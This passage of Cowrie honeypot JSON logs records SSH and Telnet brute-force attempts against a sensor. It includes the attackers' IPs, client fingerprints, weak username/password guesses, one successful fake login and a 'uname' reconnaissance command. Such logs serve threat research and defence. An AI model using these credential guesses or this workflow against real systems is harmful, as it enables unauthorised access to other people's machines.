0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:42.820830Z","src_ip":"91.92.40.153","session":"3e22ce46aa60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:43.229467Z","src_ip":"91.92.40.153","session":"3e22ce46aa60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:44.401803Z","src_ip":"91.92.40.153","session":"3e22ce46aa60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:45.980025Z","src_ip":"139.99.74.35","session":"13661de01814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":53836,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c2c54662804","protocol":"ssh","message":"New connection: 139.99.74.35:53836 (159.203.135.109:22) [session: 7c2c54662804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:46.217498Z"}
{"eventid":"cowrie.session.closed","duration":33.802921533584595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:48.601302Z","src_ip":"170.64.224.25","session":"b312f0f0bec1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":54090,"dst_ip":"10.17.0.5","dst_port":22,"session":"489d83433872","protocol":"ssh","message":"New connection: 91.92.40.153:54090 (10.17.0.5:22) [session: 489d83433872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:48.667543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:48.774156Z","src_ip":"91.92.40.153","session":"489d83433872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:48.777045Z","src_ip":"91.92.40.153","session":"489d83433872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:50.062663Z","src_ip":"91.92.40.153","session":"489d83433872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.679161071777344,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:50.360034Z","src_ip":"170.64.224.25","session":"dfc625bb942f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:50.989546Z","src_ip":"139.99.74.35","session":"7c2c54662804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:51.204671Z","src_ip":"91.92.40.153","session":"489d83433872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":53860,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c30a79762db","protocol":"ssh","message":"New connection: 139.99.74.35:53860 (159.203.135.109:22) [session: 7c30a79762db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:51.211261Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56360,"dst_ip":"10.17.0.5","dst_port":22,"session":"10a5bb469df6","protocol":"ssh","message":"New connection: 91.92.40.153:56360 (10.17.0.5:22) [session: 10a5bb469df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:55.007326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:55.121322Z","src_ip":"91.92.40.153","session":"10a5bb469df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:55.124785Z","src_ip":"91.92.40.153","session":"10a5bb469df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:55.621693Z","src_ip":"91.92.40.153","session":"10a5bb469df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:55.993258Z","src_ip":"139.99.74.35","session":"7c30a79762db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":55966,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6791f49ca92","protocol":"ssh","message":"New connection: 139.99.74.35:55966 (159.203.135.109:22) [session: a6791f49ca92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:56.246904Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:56.763580Z","src_ip":"91.92.40.153","session":"10a5bb469df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56438,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d12a741d478","protocol":"ssh","message":"New connection: 91.92.40.153:56438 (10.17.0.5:22) [session: 1d12a741d478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:00.939487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:01.004110Z","src_ip":"91.92.40.153","session":"1d12a741d478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:01.029638Z","src_ip":"139.99.74.35","session":"a6791f49ca92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:01.069181Z","src_ip":"91.92.40.153","session":"1d12a741d478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":55982,"dst_ip":"159.203.135.109","dst_port":22,"session":"860fef728aa1","protocol":"ssh","message":"New connection: 139.99.74.35:55982 (159.203.135.109:22) [session: 860fef728aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:01.273828Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:01.652645Z","src_ip":"91.92.40.153","session":"1d12a741d478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":17406,"dst_ip":"159.203.135.109","dst_port":22,"session":"81c87111c393","protocol":"ssh","message":"New connection: 194.59.206.2:17406 (159.203.135.109:22) [session: 81c87111c393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:01.759655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:01.772419Z","src_ip":"194.59.206.2","session":"81c87111c393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:01.848776Z","src_ip":"194.59.206.2","session":"81c87111c393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:02.013083Z","src_ip":"194.59.206.2","session":"81c87111c393","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:02.307279Z","src_ip":"91.92.40.153","session":"1d12a741d478","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:02.310240Z","src_ip":"91.92.40.153","session":"1d12a741d478","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:02.479537Z","src_ip":"91.92.40.153","session":"1d12a741d478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:02.484909Z","src_ip":"91.92.40.153","session":"1d12a741d478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34280,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d60cb88ef47","protocol":"ssh","message":"New connection: 160.187.174.22:34280 (159.203.135.109:22) [session: 3d60cb88ef47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:04.510249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:04.514950Z","src_ip":"160.187.174.22","session":"3d60cb88ef47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:04.758052Z","src_ip":"160.187.174.22","session":"3d60cb88ef47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:05.473523Z","src_ip":"160.187.174.22","session":"3d60cb88ef47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:06.023068Z","src_ip":"139.99.74.35","session":"860fef728aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":59582,"dst_ip":"159.203.135.109","dst_port":22,"session":"16acfce592ea","protocol":"ssh","message":"New connection: 139.99.74.35:59582 (159.203.135.109:22) [session: 16acfce592ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:06.247521Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:06.711519Z","src_ip":"160.187.174.22","session":"3d60cb88ef47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":54864,"dst_ip":"10.17.0.5","dst_port":22,"session":"58dd566a0fce","protocol":"ssh","message":"New connection: 91.92.40.153:54864 (10.17.0.5:22) [session: 58dd566a0fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:07.085184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:07.217693Z","src_ip":"91.92.40.153","session":"58dd566a0fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:07.221296Z","src_ip":"91.92.40.153","session":"58dd566a0fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"12345678","message":"login attempt [claude/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:08.036775Z","src_ip":"91.92.40.153","session":"58dd566a0fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:09.242961Z","src_ip":"91.92.40.153","session":"58dd566a0fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:11.010648Z","src_ip":"139.99.74.35","session":"16acfce592ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":59604,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca022d034b40","protocol":"ssh","message":"New connection: 139.99.74.35:59604 (159.203.135.109:22) [session: ca022d034b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:11.269849Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41492,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ef72347aa86","protocol":"ssh","message":"New connection: 91.92.40.153:41492 (10.17.0.5:22) [session: 5ef72347aa86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:12.807917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:12.983778Z","src_ip":"91.92.40.153","session":"5ef72347aa86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sh